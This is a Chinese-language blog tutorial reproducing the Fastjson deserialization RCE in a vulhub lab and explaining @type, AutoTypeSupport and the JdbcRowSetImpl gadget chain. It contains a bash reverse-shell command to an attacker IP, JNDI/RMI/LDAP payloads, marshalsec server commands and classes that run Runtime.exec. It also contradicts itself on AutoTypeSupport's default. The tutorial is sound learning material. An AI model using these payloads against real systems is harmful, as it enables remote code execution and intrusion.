赞
踩
反序列化是java安全er避不开的技能点,也是非常难的一个点。我入行安全满打满算也就一年,之前一直也想弄明白,但是总是被各种问题卡住,这次我下决心势必要啃掉反序列化这块硬骨头。
这里我就先从我实战中遇到最多也是自己最熟悉的fastjson开始,这个漏洞老生长谈了,不过只要遇到就真是一个很好的点了。这里我先从效果开始再转战到原理,因为如果不懂代码,上来就分析代码就会让人望而却步。直接从漏洞利用开始,溯源到原理反倒是我这种非安全研究er的最好学习方式。
这个漏洞环境在vulhub的docker环境中,网上vulhub和docker的下载安装教程很多,就不过多赘述了。
这里我的机器只有一台kali:攻击机和漏洞环境均在kali上,起了不同的服务。
搭建完毕环境后,直接打poc:{"zeo":{"@type":"java.net.Inet4Address","val":"umzivu.dnslog.cn"}},成功回显
java -cp jndi_tool.jar jndi.EvilRMIServer 1099 8888 "bash -i >&/dev/tcp/192.168.18.128/12345 0>&1"
输入要打的ip:192.168.18.128
nc -lvvp 12345
{ "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://192.168.18.128:1099/Object", "autoCommit": true } }
从刚才我们的操作可以看到,我们在攻击机上监听了12345端口,随后利用jndi工具生成了一个payload,在burp上我们将exp发送至服务端,即可成功获取shell。攻击操作很简单,但内部其实是有一个调用的过程,具体攻击流程可以用下图分析:
①攻击者控制的RMI服务器(192.168.18.128)启动并监听在1099端口上。
②攻击者构造恶意序列化数据,其中包含了对目标服务器的RMI连接地址(例如,rmi://目标服务器IP地址:1099/Object),并将恶意序列化数据发送给目标服务器。
③目标服务器接收到恶意序列化数据,并尝试进行反序列化。在反序列化过程中,由于存在反序列化漏洞,恶意RMI连接将被建立,连接到攻击者控制的RMI服务器(192.168.18.128)
④攻击者控制的RMI服务器收到恶意连接后,执行恶意代码(例如,建立一个反向Shell连接)。攻击者可以通过反向Shell与目标服务器进行交互,执行任意命令或进行其他攻击活动。
知道了这样做可以反弹shell,那么为什么可以进行漏洞利用呢。要深入剖析,从fastjson代码逐步分析,方而看清漏洞本质。
要反序列化,首先就得先序列化,这里我们用两种方式进行序列化,一种Java io原生序列化,一种fastjson序列化。
//构造一个普通类Common public class Common { //私有属性data private String data; //settet getter方法 public String getData() { return data; } public void setData(String data) { this.data = data; } }
文件IO流(FileInput/OutputStream) 对 文件 进行输入和输出
对象IO流(ObjectInput/OutputStream) 对 对象 进行输入和输出
首先用new FileOutputStream创建一个文件输出流,再用new ObjectOutputStream创建一个对象输出流(因为oos是对象输出流类型),这时我们就可以在java程序中向外(文件)输出流(内容)了,画成图:
import java.io.Serializable; //构造一个普通类Common //Common类必须实现Serializable接口 public class Common implements Serializable { //私有属性data private String data; //settet getter方法 public String getData() { return data; } public void setData(String data) { this.data = data; } }
import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutput; import java.io.ObjectOutputStream; public class JavaSerialization { public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); System.out.println("对象已经成功序列化"); } public static void main(String[] args) throws Exception{ //创建Common类实例 Common obj=new Common(); obj.setData("我是Common类"); serialize(obj); } }
import com.alibaba.fastjson.JSON; public class FastjsonSerialization { public static void main(String[] args) { //创建Common类实例 Common obj=new Common(); obj.setData("我是Common类"); //将Common类序列化为JSON字符串 String Json= JSON.toJSONString(obj); System.out.println("序列化后的JSON字符串为:"+Json); } }
特性 | Java原生方式序列化 | FastJSON方式序列化 |
依赖性 | Java标准库,无需额外依赖 | FastJSON库,需要导入FastJSON的相关依赖 |
序列化效率 | 一般较慢 | 通常较快 |
序列化结果大小 | 较大 | 较小 |
自定义序列化支持 | 需要实现Serializable接口和自定义序列化方法 | 不需要实现接口,支持直接序列化普通Java对象 |
支持的数据类型 | 支持序列化Java内置类型和实现了Serializable接口的自定义类 | 支持序列化Java内置类型和大部分自定义类,无需实现接口 |
序列化控制 | 可以通过自定义序列化方法对序列化过程进行精细控制 | 提供注解和配置选项来控制序列化行为 |
扩展性 | 需要自行实现自定义序列化和反序列化逻辑 | 提供了灵活的扩展机制,可以注册自定义序列化器和反序列化器 |
这里我们主要研究fastjson的反序列化,原生的反序列化就先不花篇幅陈述了。
import com.alibaba.fastjson.JSON; public class FastjsonDeserialization { public static void main(String[] args) { //将刚刚的Common类序列化后的数据进行反序列化 String json = "{\"data\":\"我是Common类\"}"; //反序列化 Common obj=JSON.parseObject(json,Common.class); //将反序列化后的数据打印出来 System.out.println("反序列化后的数据为:"+obj.getData()); } }
方法 | 功能 | 用途 | 返回值类型 | 示例 |
JSON.toJSONString | 对象转为 JSON 字符串 | 将 Java 对象转换为 JSON 字符串表示形式 | String | String jsonString = JSON.toJSONString(obj); |
JSON.parse | JSON 字符串解析 | 将 JSON 字符串解析为对应的 Java 对象 | Object | Object obj = JSON.parse(jsonString); |
JSON.parseObject | JSON 字符串解析 | 将 JSON 字符串解析为指定类型的 Java 对象 | 指定类型 | Person person = JSON.parseObject(jsonString, Person.class); |
从我个人理解的角度看fastjson漏洞,感觉漏洞主要原因是这几个:@type、AutoTypeSupport以及利用链。
@type
@type 是一个特殊的字段,用于指定反序列化时应该实例化的具体类。攻击者可以在JSON字符串中使用 @type 字段,并指定一个恶意的类名,以触发不受信任的类的实例化和执行恶意操作。
AutoTypeSupport
AutoTypeSupport 特性默认是开启的。这个特性允许在反序列化过程中自动识别并实例化特定类型的对象。然而,这也为恶意用户提供了一个机会,可以利用 @type 字段和自动类型识别功能来执行恶意操作
利用链
恶意用户通过构造一系列嵌套的对象和方法调用,利用fastjson的自动类型识别和调用链,最终达到命令执行的目的
import java.io.IOException; public class BadClassPerson { private String name; private int age; private String sex; public BadClassPerson() { System.out.println("构造方法"); } public String getName() { System.out.println("getName"); return name; } public void setName(String name) { System.out.println("setName"); this.name = name; } public int getAge() { System.out.println("getAge"); return age; } public void setAge(int age) { System.out.println("setAge"); this.age = age; } //在setSex中有一段弹计算器的命令执行代码 public void setSex(String sex) throws IOException { System.out.println("setSex"); Runtime.getRuntime().exec("calc"); } }
import com.alibaba.fastjson.JSON; public class Deserialization { public static void main(String[] args) { String jsonString ="{\"@type\":\"BadClassPerson\",\"age\":80,\"name\":\"lili\",\"sex\":\"man\"}"; System.out.println(JSON.parseObject(jsonString)); } }
AutoTypeSupport是Fastjson中的一个配置选项,用于控制自动类型转换的支持。默认情况下,Fastjson会禁用自动类型转换功能,以防止潜在的安全风险。通过启用AutoTypeSupport,可以允许@type字段的解析和自动类型转换。
正是因为传入的@type类有恶意风险,为了减轻Fastjson反序列化漏洞的风险,可以通过将存在安全风险的Class全路径的Hash值存储在黑名单中的方式进行校验。Fastjson使用了Hash算法,将一系列已知存在安全风险的Class的全路径转换为Hash值,并将这些Hash值存储在黑名单中。在反序列化过程中,Fastjson会检查 @type 字段指定的Class的Hash值是否存在于黑名单中。如果存在于黑名单中,Fastjson将拒绝实例化该Class,并抛出异常,从而防止恶意攻击者执行未授权等高危操作。
import com.alibaba.fastjson.JSONObject; public class Main { public static void main(String[] args) { String jsonStr = "{\"x\":{\"@type\":\"java.net.InetSocketAddress\"{\"address\":,\"val\":\"nv03d9.dnslog.cn\"}}}"; Object json1 = JSONObject.parse(jsonStr); System.out.println(json1); } }
执行结果
回到我们最初实战用到的exp,这段代码就涉及到了JdbcRowSetImpl利用链。下面我们分析下这段poc:
{ "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://ip:port/Object", "autoCommit": true } }
"a" 属性指定了一个java.lang.Class对象,其值为"com.sun.rowset.JdbcRowSetImpl"。这意味着在反序列化过程中,会尝试将值反序列化为JdbcRowSetImpl类。
"b" 属性指定了一个com.sun.rowset.JdbcRowSetImpl对象,"@type" 属性指定了要反序列化的对象类型JdbcRowSetImpl。"dataSourceName" 属性指定了一个RMI(远程方法调用)URL,指向rmi服务器上的Object类。"autoCommit" 属性设置为true,是为了在反序列化后执行某些操作。
1.2.24 | 1.2.47 |
{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://ip:port/Exploit", "autoCommit":true } | { "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://ip:port/Test", "autoCommit":true } } |
import java.io.IOException; public class Exploit { public Exploit() throws IOException { //直接在构造方法中运行计算器 Runtime.getRuntime().exec("open -a calculator"); } }
2. 将其放在一个能访问到的服务器上
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip:1000/#Exploit" 8888
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://ip:1000/#Exploit" 8888
public class ClientDemo { public static void main(String[] args) { String payload="{\n" + " \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" + " \"dataSourceName\":\"ldap://ip:8888/Exploit\",\n" + " \"autoCommit\":true\n" + "}"; Object obj = JSON.parseObject(payload); System.out.println(obj); } }
成功获取恶意类
ldap也建立连接
这里借用其他师傅的代码 Java 的 RMI(远程方法调用)机制来创建和绑定 RMI 服务,最后命令执行复现也失败了
import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class JNDIServer { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("Exloit", "badClassName","http://ip:8000/"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("Exploit",referenceWrapper); } }
public class badClassName { static{ try{ Runtime.getRuntime().exec("open /System/Applications/Calculator.app"); }catch(Exception e){ ; } } }
import com.alibaba.fastjson.JSON; public class JNDIClient { public static void main(String[] argv){ String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://ip:1099/badClassName\", \"autoCommit\":true}"; JSON.parse(payload); } }
结果显示
这里用ClientDemo的方式进行测试实际和burp打exp效果是一样的,但是我在复现时就是弹不了计算器,找了很多教程都没能复现出来,猜测可能是fastjson做了什么限制。
@type | AutoTypeSupport | 利用链 | |
功能 | 通过指定@type字段指定目标类 | 自动检测和支持特定类的自动类型转换 | 利用链是一系列的类和方法调用,构建一个恶意操作序列 |
漏洞成因 | 默认情况下Fastjson启用自动类型转换 | Fastjson库通过AutoTypeSupport支持自动类型转换 | 利用链中的方法或类可能存在漏洞,导致安全问题 |
安全措施 | 默认情况下禁用@type字段自动转换 | 从Fastjson版本1.2.24开始,默认禁用AutoTypeSupport | 需要修复潜在漏洞的方法或类 |
安全影响 | 可能导致恶意类的实例化和方法调用 | 可能导致恶意类的实例化和方法调用 | 可能导致任意代码执行、命令执行或信息泄漏 |
修复措施 | 限制或禁用@type字段的自动转换 | 禁用AutoTypeSupport或限制自动类型转换的范围 | 修复利用链中的潜在漏洞 |
本文从最开始的fastjson实战实验开始,随后深入了解fastjson反序列化过程以及导致漏洞产生的三个重要原因,均是服务器对传入的json代码过滤不严导致可以利用rmi或jndi方式进行获取恶意利用类进而造成远程命令执行。实际作者在复现过程中也出现弹不出计算器的情况,猜测可能是因为现有给出的代码已经对fastjson漏洞做了修复。也欢迎各位师傅帮忙解惑。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。